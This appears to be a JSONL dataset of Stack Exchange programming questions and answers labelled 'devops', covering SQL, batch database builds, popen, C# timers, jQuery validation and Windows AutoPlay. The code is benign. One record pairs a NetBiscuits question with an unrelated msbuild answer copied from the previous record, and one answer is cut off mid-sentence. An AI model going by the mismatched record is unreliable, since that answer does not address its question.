{"id": "hf_ca601a0f2e59", "question": "<p>I have a group by clause in a sql statement and need to use an aggregate function to minus all the values in each group instead of adding like the Sum() function.</p>\n\n<p>i.e.  </p>\n\n<pre><code>SELECT Sum(A) \nFROM (  \n  SELECT 2 AS A\n  UNION \n  SELECT 1) AS t1\n</code></pre>\n\n<p>..so will evaluate 2+1 and return 3.</p>\n\n<p>I need some way of doing 2-1 to return 1.</p>\n\n<p>Hope this makes sense.  Only way I can think of doing this would be to use CLR integration to make my own aggregate function.</p>\n\n<p>Any other ideas?</p>\n", "question_body": "", "answer": "How will you identify the item to be subtracted from?\nOnce that's been identified it's a\n```\nSUM()\n```\nmultiplied by\n```\n-1\n```\nand then added to that value.\nEdit:\nIf it's the first value to be taken as the subtracted from then take that value, double it, then take away the sum of all the values. (Doubling it cancels out the effect of including it in the sum of all the values.)\n```\n```\nselect top 1 @var = [value]\nfrom myTable \norder by [some condition] \n\nselect @minused = (2 * @var)  - sum([value]) \nfrom myTable\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.235071"}
{"id": "hf_abc681c296db", "question": "<p>I need to implement a queue using table. \nThe business requirement is to have a single queue which will be accessed by 5-10 boxes to get the next job/jobs. There will not be more than 5000 jobs per day. Also, a batch of jobs should be \"dequeued\" at one time.</p>\n\n<p>Just wondering what are the problem areas and issues I might run into as I havent done it before. If anyone has faced this/done this before, can you please point me to a design/sample implementation or issues that need to be taken care of.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "There are a lot of general purpose queuing or messaging services. Even if you want to implement your own system, you could try to have a look at a few others. The first thing that come to mind is JMS (\nJava Message Service\n) with implementations like\nApache ActiveMQ\n,\nOpenJMS\nor\nJBoss Messaging\n. Then you have a lot of non-opensource offering as well.\nSecond thing that comes to mind is\nAmazon Simple Queue Service\n. There is a couple of products that implement the same kind of interface, like\ndjango-queue-service\n.\nGood luck !", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.293198"}
{"id": "hf_6d47e51939d0", "question": "<p>As far as I understand, if I want to get my database under source control then I need to be checking in change scripts for each change and then running them from some revision to get the correct DB.</p>\n\n<p>I am trying to make a batch file that will be checked in too, that allows other developers on the team to re-build the DB locally without too much trouble. I believe sqlcmd is the way to achieve this. I have it setup to enumerate all files in the dir of .sql files and run sqlcmd for each.</p>\n\n<p>My question is who has done this before and do you have an advice on the best way to achieve this? Is the way I intend to do this the best way or is there a better way?</p>\n\n<p>Hope that's not too vague.</p>\n\n<p>Thanks in advance,</p>\n\n<p>Martin.</p>\n", "question_body": "", "answer": "One thing to be aware of is that you need to create objects in the order of dependency. So you cannot simply iterate files.\nWe ended up having a batch file that would list all the objects in order of dependency\nActually we had 2 batch files one called say createDBObject.bat:\n```\n```\n:: Parameters Required:\n:: %1 UserID\n:: %2 Password\n:: %3 Server\n:: %4 Database\n:: %5 file with scripted object\n::\necho. >> CreateDBObjectsLog.txt\necho  %5 >> CreateDBObjectsLog.txt\nosql -U%1 -P%2 -S%3 -i%5 -d%4 -n >> CreateDBObjectsLog.txt\necho * %5\n```\n```\nand then the other with the list of all the db objects:\n```\n```\n:: Parameters Required:\n:: %1 UserID\n:: %2 Password\n:: %3 Server\n:: %4 Database\n::\necho object  in %4 database on %3 server\necho Please Wait ...\n\nif exist CreateDBObjectsLog.txt del CreateDBObjectsLog.txt\n\ncall createDBObject.bat %1, %2, %3, %4, ScriptedTable1\ncall createDBObject.bat %1, %2, %3, %4, ScriptedTable2\n...\ncall createDBObject.bat %1, %2, %3, %4, ScriptedTableN\n\ncall createDBObject.bat %1, %2, %3, %4, ScriptedView1\n\ncall createDBObject.bat %1, %2, %3, %4, ScriptedSP1\n\netc\n```\n```\nNow we use\nSQL Compare Pro\nthat automates all those tasks\nYou can also check related question:\nIs there a “poor man’s” alternative to RedGate for scripting out entire database schema?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.316565"}
{"id": "hf_8ea81b156d30", "question": "<p>I try get the <a href=\"http://flash-mp3-player.net/players/js/\" rel=\"nofollow noreferrer\">mp3 flash player</a> to work with my javascript on all browsers. All went well for first, but fast realized that my code doesn't work on MSIE.</p>\n\n<p>After trying to find out  I found this in the reference code:</p>\n\n<pre><code>&lt;!--[if IE]&gt;\n&lt;script type=\"text/javascript\" event=\"FSCommand(command,args)\" for=\"myFlash\"&gt;\neval(args);\n&lt;/script&gt;\n&lt;![endif]--&gt;\n</code></pre>\n\n<p>How to turn this into a javascript or jquery clause that I could stuff it where it belongs to (in audio.js)?</p>\n", "question_body": "", "answer": "That syntax, with the <script> tag with the \"event\" and \"for\" attributes is an Internet Explorer-only way of setting up an event handler on an DOM object.  Here, it adds a FSCommand event handler to the myFlash object.  This is needed because code running inside the Flash object may want to run JavaScript in the browser.  To do this, the Flash object will invoke the FSCommand event handler, passing the JavaScript to run as the arguments to the event.\nWith this player, the name of a JS listener object is passed in the FlashVars param to the player.  It then uses FSCommands from ActionScript to modify that listener object, with an occasional call to a method on that listener when it's other properties have been modified.  I suppose that IE isn't able to run the JS code using this method until the FSCommand handler has been added to the Flash player object, which is why that code exists.  Modify it to use the ID of your Flash object and you should be in good shape.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.351401"}
{"id": "hf_a4c151dd4c0f", "question": "<p>This is probably easy but I am getting stuck: when I build a solution in Visual Studio - how do extract the exact cmd line for the current build command in order to be able to do the same build from VisualStudio console? </p>\n\n<p>In the output window I can see the single projects in the solution build commands but not the one for the whole solution.</p>\n\n<p>I am on VS2005.</p>\n\n<p>Any help would be appreciated</p>\n", "question_body": "", "answer": "You can start msbuild from the command line. msbuild understands .sln (solution) files. You can specify the .sln file and the build configuration (debug, release etc.) from the command line.\nhttp://msdn.microsoft.com/en-us/library/ms164311.aspx\nHere is the documentation on what you can do with msbuild. MSBuild.exe is installed with the .net framework, not with visual studio. You can find it in c:\\windows\\microsoft.net\\framework\\v3.5 (or v2.0.50727)\nI searched a bit and found that you can also do a command line build with visual studio using devenv.exe /build, more info here:\nhttp://msdn.microsoft.com/en-us/library/xee0c8y7(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.374511"}
{"id": "hf_c77e40e5d308", "question": "<p>Has anybody got any real world stories build mobile web sites with NetBiscuits?</p>\n\n<p>Someone told me it was the next big thing in mobile development (<a href=\"http://www.netbiscuits.com/home\" rel=\"nofollow noreferrer\">http://www.netbiscuits.com/home</a>) and it looks pretty good from their site. Just wondered if anybody (besides them) has actually used it.</p>\n", "question_body": "", "answer": "You can start msbuild from the command line. msbuild understands .sln (solution) files. You can specify the .sln file and the build configuration (debug, release etc.) from the command line.\nhttp://msdn.microsoft.com/en-us/library/ms164311.aspx\nHere is the documentation on what you can do with msbuild. MSBuild.exe is installed with the .net framework, not with visual studio. You can find it in c:\\windows\\microsoft.net\\framework\\v3.5 (or v2.0.50727)\nI searched a bit and found that you can also do a command line build with visual studio using devenv.exe /build, more info here:\nhttp://msdn.microsoft.com/en-us/library/xee0c8y7(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.397348"}
{"id": "hf_4e17088de567", "question": "<p>Is there any clever method out there to make my executeEveryDayMethod() execute once a day, without having to involve the Windows TaskScheduler?</p>\n", "question_body": "", "answer": "If the time when it is run is not relevant and can be reset each time the program starts you can just set a timer, which is the easiest thing to do. If that's not acceptable it starts getting more complex, like the solution presented\nhere\nand which still doesn't solve the persistence problem, you need to tackle that separately if you truly wish to do what Scheduled Tasks would. I'd really consider again if it's worth going through all the trouble to replicate a perfectly good existing functionality.\nHere's a\nrelated question\n(Example taken from there).\n```\n```\nusing System;\nusing System.Timers;\n\npublic class Timer1\n{\n    private static Timer aTimer = new System.Timers.Timer(24*60*60*1000);\n\n    public static void Main()\n    {\n        aTimer.Elapsed += new ElapsedEventHandler(ExecuteEveryDayMethod);\n        aTimer.Enabled = true;\n\n        Console.WriteLine(\"Press the Enter key to exit the program.\");\n        Console.ReadLine();\n    }\n\n    // Specify what you want to happen when the Elapsed event is \n    // raised.\n    private static void ExecuteEveryDayMethod(object source, ElapsedEventArgs e)\n    {\n        Console.WriteLine(\"The Elapsed event was raised at {0}\", e.SignalTime);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.420021"}
{"id": "hf_dae07b8d0c7d", "question": "<p>I am confused about how popen() redirects stdin, stdout and stderr of the child process in unix. The man page on popen() is not very clear in this regard. The call</p>\n\n<pre><code>FILE *p = popen(\"/usr/bin/foo\", \"w\");\n</code></pre>\n\n<p>forks a child process and executes a shell with arguments \"-c\", \"/usr/bin/foo\", and redirects stdin of this shell (which is redirected stdin of foo), stdout to p. But what happens with stderr? What is the general principle behind it?</p>\n\n<p>I noticed that, if I open a file in foo (using fopen, socket, accept etc.), and the parent process has no stdout, it gets assigned the next available file number, which is 1 and so on. This delivers unexpected results from calls like fprintf(stderr, ...).</p>\n\n<p>It can be avoided by writing</p>\n\n<pre><code>FILE *p = popen(\"/usr/bin/foo 2&gt;/dev/null\", \"w\");\n</code></pre>\n\n<p>in the parent program, but are their better ways?</p>\n", "question_body": "", "answer": "The  return  value from popen() is a normal standard I/O stream in all\n  respects save that it must be closed with pclose() rather than\n  fclose(3).  Writing to such a stream writes to the standard input of\n  the command; the command's standard output is the same as  that of the\n  process that called popen(), unless this is altered by the command\n  itself.  Conversely, reading from a \"popened\" stream reads the\n  command's standard output, and the command's standard input is the\n  same as that  of  the  process  that  called popen().\nFrom its manpage, so it allows you to read the commands standard output or write into its standard input. It doesn't say anything about stderr. Thus that is not redirected.\nIf you provide \"w\", you will send your stuff to the stdin of the shell that is executed. Thus, doing\n```\n```\nFILE * file = popen(\"/bin/cat\", \"w\");\nfwrite(\"hello\", 5, file);\npclose(file);\n```\n```\nWill make the shell execute /bin/cat, and pass it the string\n```\n\"hello\"\n```\nas its standard input stream. If you want to redirect, for example stderr to the file\n```\n\"foo\"\n```\ndo this first, before you execute the code above:\n```\n```\nFILE * error_file = fopen(\"foo\", \"w+\");\nif(error_file) {\n    dup2(fileno(error_file), 2);\n    fclose(error_file);\n}\n```\n```\nIt will open the file, and duplicate its file-descriptor to 2, closing the original file descriptor afterwards.\nNow, if you have your stdout closed in your parent, then if the child calls\n```\nopen\n```\nit will get 1, since that's (if stdin is already opened) the next free file-descriptor. Only solution i see is to just use dup2 and duplicate something into that in the parent, like the above code. Note that if the child opens\n```\nstdout\n```\n, it will\nnot\nmake\n```\nstdout\n```\nopen in the parent too. It stays closed there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.443372"}
{"id": "hf_a0729cb4481a", "question": "<p>I have a user that keeps getting this error.  Is there a tool that does window handle counting that i can use to figure out why he keeps getting this error.</p>\n\n<p>System.ComponentModel.Win32Exception: Error creating window handle.\n   at System.Windows.Forms.NativeWindow.CreateHandle(CreateParams cp)\n   at System.Windows.Forms.Control.CreateHandle()\n   at System.Windows.Forms.Form.CreateHandle()\n   at System.Windows.Forms.Control.get_Handle()\n   at System.Windows.Forms.Form.ShowDialog(IWin32Window owner)</p>\n", "question_body": "", "answer": "Maybe this could help:\nUnhandled exception Win32Exception,Error creating window handle\nCLR Debugger (DbgCLR.exe)\non mine machine debugger is located at:\n```\n\"c:\\Program Files\\Microsoft Visual Studio 8\\SDK\\v2.0\\GuiDebug\\DbgCLR.exe\"\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.466931"}
{"id": "hf_5950e782c853", "question": "<p>I have got some code to load an assembly and get all types, which implement a certain interface, like this (assume asm is a valid and loaded assembly).</p>\n\n<pre><code>var results = from type in asm.GetTypes()\n  where typeof(IServiceJob).IsAssignableFrom(type)\n  select type;\n</code></pre>\n\n<p>Now I'm stuck: I need to create instances of these objects and invoke methods and properties on the object. And I need to store the references to the created objects in an array for later usage.</p>\n", "question_body": "", "answer": "Oh wow - I only\nblogged about this\na few days ago. Here's my method to return instances of all the types that implement a given interface:\n```\n```\nprivate static IEnumerable<T> InstancesOf<T>() where T : class\n{\n    var type = typeof(T);\n    return from t in type.Assembly.GetExportedTypes()\n           where t.IsClass\n               && type.IsAssignableFrom(t)\n               && t.GetConstructor(new Type[0]) != null\n           select (T)Activator.CreateInstance(t);\n}\n```\n```\nIf you refactor this to accept an assembly parameter rather than using the interface's assembly, it becomes flexible enough to suit your need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.489948"}
{"id": "hf_a1a664b93fe4", "question": "<p>How do I pass a value from a child back to the parent form? I have a string that I would like to pass back to the parent.</p>\n\n<p>I launched the child using:</p>\n\n<pre><code>FormOptions formOptions = new FormOptions();\nformOptions.ShowDialog();\n</code></pre>\n", "question_body": "", "answer": "Create a property (or method) on\n```\nFormOptions\n```\n, say\n```\nGetMyResult\n```\n:\n```\n```\nusing (FormOptions formOptions = new FormOptions())\n{\n    formOptions.ShowDialog();\n\n    string result = formOptions.GetMyResult;\n\n    // do what ever with result...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.513259"}
{"id": "hf_1add2376fb87", "question": "<p>I'm writing an image processing program to perform real time processing of video frames. It's in C# using the Emgu.CV library (C#) that wraps the OpenCV library dll (unmanaged C++). Now I have to write my own special algorithm and it needs to be as fast as possible. </p>\n\n<p>Which will be a faster implementation of the algorithm?</p>\n\n<ol>\n<li><p>Writing an 'unsafe' function in C#</p></li>\n<li><p>Adding the function to the OpenCV library and calling it through Emgu.CV</p></li>\n</ol>\n\n<p>I'm guessing C# unsafe is slower because it goes throught the JIT compiler, but would the difference be significant?</p>\n\n<p>Edit:</p>\n\n<p>Compiled for .NET 3.5 under VS2008</p>\n", "question_body": "", "answer": "It depends on the algorithm, the implementation, the C++ compiler and the JIT compiler. I guess in most cases the C++ implementation will be faster. But this may change.\nThe JIT compiler can optimize your code for the platform your code is running on instead of an average for all the platforms your code might run on as the C++ compiler does. This is something newer versions of the JIT compiler are increasingly good at and may in some cases give JITted code an advantage. So the answer is not as clear as you might expect. The new Java hotspot compiler does this very well for example.\nOther situations where managed code may do better than C++ is where you need to allocate and deallocate lots of small objects. The .net runtime preallocates large chunks of memory that can be reused so it doesn't need to call into the os every time you need to allocate memory.\nI'm not sure unsafe C# runs much faster than normal C#. You'll have to try this too.\nIf you want to know what's the best solution for your situation you'll have to try both and measure the difference. I dont think there will be more than", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.558936"}
{"id": "hf_19624244feb9", "question": "<p>Ignoring the IE case, are there any other browsers that can't understand the application/xhtml+xml content type? And what about the search engine spiders?</p>\n\n<p>I could not find any answers on the web that would not be a few years old and thus possibly inaccurate.</p>\n\n<p><strong>Edit:</strong>\nSomehow related question: <a href=\"https://stackoverflow.com/questions/278746/what-problem-does-xhtml-strict-solve\">What problem does XHTML strict solve?</a></p>\n", "question_body": "", "answer": "If you ignore 80% of the market (yes, IE) then XHTML is very well supported, and search engines have no problem with it whatsoever (after all, XHTML is a lot simpler to process).\nOverall, XHTML support isn't really a problem. IE doesn't support it, but as long as it's served as a contenttype it does understand, will render it okay anyway, and everyone else support it properly.\nDo you have more specific use cases in mind?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.582284"}
{"id": "hf_9933458c976d", "question": "<p>How can I check if a string ends with a particular character in JavaScript?</p>\n\n<p>Example: I have a string </p>\n\n<pre><code>var str = \"mystring#\";\n</code></pre>\n\n<p>I want to know if that string is ending with <code>#</code>. How can I check it?</p>\n\n<ol>\n<li><p>Is there a <code>endsWith()</code> method in JavaScript?</p></li>\n<li><p>One solution I have is take the length of the string and get the last character and check it.</p></li>\n</ol>\n\n<p>Is this the best way or there is any other way?</p>\n", "question_body": "", "answer": "Unfortunately not.\n```\nif( \"mystring#\".substr(-1) === \"#\" ) {}\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.605767"}
{"id": "hf_f9f030cf27a7", "question": "<p>What's the story behind our massive repitition of <code>./foo</code> and <code>cd ..</code>. Where do these two <code>.</code> and <code>..</code> come from? Where could they be seen as a way of navigating a file system tree for the first time?</p>\n", "question_body": "", "answer": "I'm sorry I can't answer properly, but I can recommend these links:\nThe Evolution of the Unix Time-sharing System\nand\nA Brief history of the BSD Fast File System\nfor some interesting historical notes on early file systems and their use.\nOther than that, the earliest reference I've found is the 1974 paper \"\nThe UNIX Time-Sharing System\n\" by Dennis Ritchie and Ken Thompson. The precursor of UNIX, Multics, also had hierarchical file systems and the notion of relative paths, but according to \"\nIntroduction to MULTICS\n\" it used another notation for that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.640862"}
{"id": "hf_ff719bcf93cb", "question": "<p>I'm currently running into some issues resizing images using GD.</p>\n\n<p>Everything works fine until i want to resize an animated gif, which delivers the first frame on a black background.</p>\n\n<p>I've tried using <code>getimagesize</code> but that only gives me dimensions and nothing to distinguish between just any gif and an animated one.</p>\n\n<p>Actual resizing is not required for animated gifs, just being able to skip them would be enough for our purposes.</p>\n\n<p>Any clues?</p>\n\n<p>PS. I don't have access to imagemagick.</p>\n\n<p>Kind regards,</p>\n\n<p>Kris</p>\n", "question_body": "", "answer": "There is a brief snippet of code in the PHP manual page of the\n```\nimagecreatefromgif()\n```\nfunction that should be what you need:\n```\nimagecreatefromgif\n```\ncomment #59787 by ZeBadger", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.664396"}
{"id": "hf_3a94f42d71a0", "question": "<p>I have let's say two pc's.PC-a and PC-b which both have the same application installed with java db support.I want from time to time to copy the data from the database on PC-a to database to PC-b and vice-versa so the two PC's to have the same data all the time.\nIs there an already implemented API in the database layer for this(i.e 1.export-backup database from PC-a 2.import-merge databases to PC-b) or i have to do this in the sql layer(manually)?</p>\n", "question_body": "", "answer": "I guess you are using\nJava DB (aka Derby)\n- in which case, assuming you just can't use a single instance, you can do a\nbackup/restore\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.687632"}
{"id": "hf_947507610fa1", "question": "<p>I've been thinking of ways of providing syntactic sugar for a framework I have been working on. I want to deal with Immitable objects exclusively.</p>\n<h3>Say I have an immutable object and wish to create a modified version of it. Would, in your view, a non-instantiable class with a single static factory method break OO principles ?</h3>\n<br>\n<blockquote>\n<p>As an example using a String:</p>\n<pre><code>public final class LOWERCASE {\n  \n    private LOWERCASE() {}\n  \n    public static String string( final String STRING ) {\n   \n      return STRING.toLowerCase();\n    }\n}\n</code></pre>\n<p>Therefore from this example I could write:</p>\n<pre><code>String lowercaseString = LOWERCASE.string( targetString );\n</code></pre>\n<p>Which I find very readable.</p>\n</blockquote>\n<br>\n<h3>Any provisos against such an approach?</h3>\n", "question_body": "", "answer": "Usually on immutable objects, I would have a method returning a modified version of the object. So if you have some immutable collection, it can have a sort() method, that returns a new collection that is sorted. However, in your String example this is not possible, since you cannot touch the String class.\nYour approach is quite readable, and I think for edge cases like this, is perfectly fine. For immutable objects you write yourself, I'd have the method on the object itself.\nEric Lippert's series on immutable objects in C#\nis quite good, by the way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.780467"}
{"id": "hf_1f40c9d1197a", "question": "<p>Does the \"for…in\" loop in Javascript loop through the hashtables/elements in the order they are declared? Is there a browser which doesn't do it in order?<br>\nThe object I wish to use will be declared <em>once</em> and will never be modified.</p>\n\n<p>Suppose I have:</p>\n\n<pre><code>var myObject = { A: \"Hello\", B: \"World\" };\n</code></pre>\n\n<p>And I further use them in:</p>\n\n<pre><code>for (var item in myObject) alert(item + \" : \" + myObject[item]);\n</code></pre>\n\n<p>Can I expect 'A : \"Hello\"' to always come before 'B : \"World\"' in most decent browsers?</p>\n", "question_body": "", "answer": "The elements of an object that for/in enumerates are the properties that don't have the DontEnum flag set. The ECMAScript, aka Javascript, standard explicitly says that \"An Object is an unordered collection of properties\" (see\nhttp://www.mozilla.org/js/language/E262-3.pdf\nsection 8.6).\nIt's not going to be standards conformant (i.e. safe) to assume all Javascript implementations will enumerate in declaration order.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.815926"}
{"id": "hf_4e1d3df9f83a", "question": "<p>I have a T4 template that generates classes from an xml file. </p>\n\n<p>How can I add a dependency between the xml file and the template file so that when the xml file is modified the template is rerun automatically without choosing \"Run custom tool\" from the context menu?</p>\n", "question_body": "", "answer": "How long does the tool take to execute? One lazy option might be to simply edit the csproj such that it\nalways\nruns the tool during build (presumably via\n```\n<Exec ... />\n```\nor a custom\n```\ntargets\n```\nfile) - of course, this depends on it being quick to execute.\nAnother way would be to write a shim that works as the \"Custom Tool\" in VS, and simply calls the existing exe (or whatever) with the right args. Not trivial, but doable (\nsee here\n) - I believe this then supposedly plays fairly nicely with change detection. It is actually on my list of things to do for a current project, so I'll find out soon enough...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.861262"}
{"id": "hf_55a900e9a8a7", "question": "<p>I have some directories that are bundled with my installer and I need to access them from within a custom action.  I have done some research and seen that the SourceDir can be used to obtain the currently executing dir location.  However I cannot find any examples of how to obtain this property?  Or another way to obtain the current directory?</p>\n\n<p>Can anyone advise or point me to anything other than the unhelpful Microsoft site?</p>\n", "question_body": "", "answer": "I'm assuming you're using vbscript for the custom action. If so, properties can be accessed via the Session object. See below:\n```\n```\nstrSourceDir = Session.Property(\"SourceDir\")\n```\n```\nBe aware that the SourceDir property is only available at\nspecific times during the installation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.884186"}
{"id": "hf_b0b615d3689d", "question": "<p>I am using the <strong><a href=\"http://en.wikipedia.org/wiki/JQuery\" rel=\"noreferrer\">jQuery</a> validation plugin</strong>. Great stuff! I want to migrate my existing ASP.NET solution to use jQuery instead of the ASP.NET validators. I am missing a replacement for the <strong>regular expression</strong> validator. I want to be able to do something like this:</p>\n\n<pre><code>$(\"Textbox\").rules(\"add\", { regularExpression: \"^[a-zA-Z'.\\s]{1,40}$\" })\n</code></pre>\n\n<p>How do I <strong>add a custom rule</strong> to achieve this?</p>\n", "question_body": "", "answer": "You can use the addMethod()\ne.g\n```\n```\n$.validator.addMethod('postalCode', function (value) { \n    return /^((\\d{5}-\\d{4})|(\\d{5})|([A-Z]\\d[A-Z]\\s\\d[A-Z]\\d))$/.test(value); \n}, 'Please enter a valid US or Canadian postal code.');\n```\n```\ngood article here\nhttps://web.archive.org/web/20130609222116/http://www.randallmorey.com/blog/2008/mar/16/extending-jquery-form-validation-plugin/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.930969"}
{"id": "hf_d5e6e4fef8b6", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/2246772/whats-the-difference-between-not-exists-vs-not-in-vs-left-join-where-is-null\">What&#39;s the difference between NOT EXISTS vs. NOT IN vs. LEFT JOIN WHERE IS NULL?</a>  </p>\n</blockquote>\n\n\n\n<p>I need to wite a query that will retrieve the records from Table A , provided that the key in Table A does not exist in Table B.</p>\n\n<p>Any help will be appreciated.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "```\n```\nSELECT *\nFROM A\nWHERE ID NOT IN\n     (SELECT ID FROM B)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.965339"}
{"id": "hf_f1148fe94411", "question": "<p>I need to suppress autoplay for the mass storage devices.\nThis needs to be achieved programatically through a service/deamon running in the background.</p>\n\n<p>I know it can be done by an application which opens a window and handles the \"queryCancelAutoPlay\" message sent by windows.</p>\n\n<p>Can this be done without GUI.I have the guid/pid/vid for the device whose autoplay needs to be disabled.</p>\n", "question_body": "", "answer": "There is a registry entry that controls AutoRun:\n```\n```\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\n```\n```\nThis can be set to disable AutoRun on specific device types, from\ntechnet\n:\n```\n```\nNoDriveTypeAutoRun\n\nValue   Meaning\n0x1     Disables Autoplay on drives of unknown type.\n0x4     Disables Autoplay on removable drives.\n0x8     Disables Autoplay on fixed drives.\n0x10    Disables Autoplay on network drives.\n0x20    Disables Autoplay on CD-ROM drives.\n0x40    Disables Autoplay on RAM drives.\n0x80    Disables Autoplay on drives of unknown type.\n0xFF    Disables Autoplay on all types of drives.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.992073"}
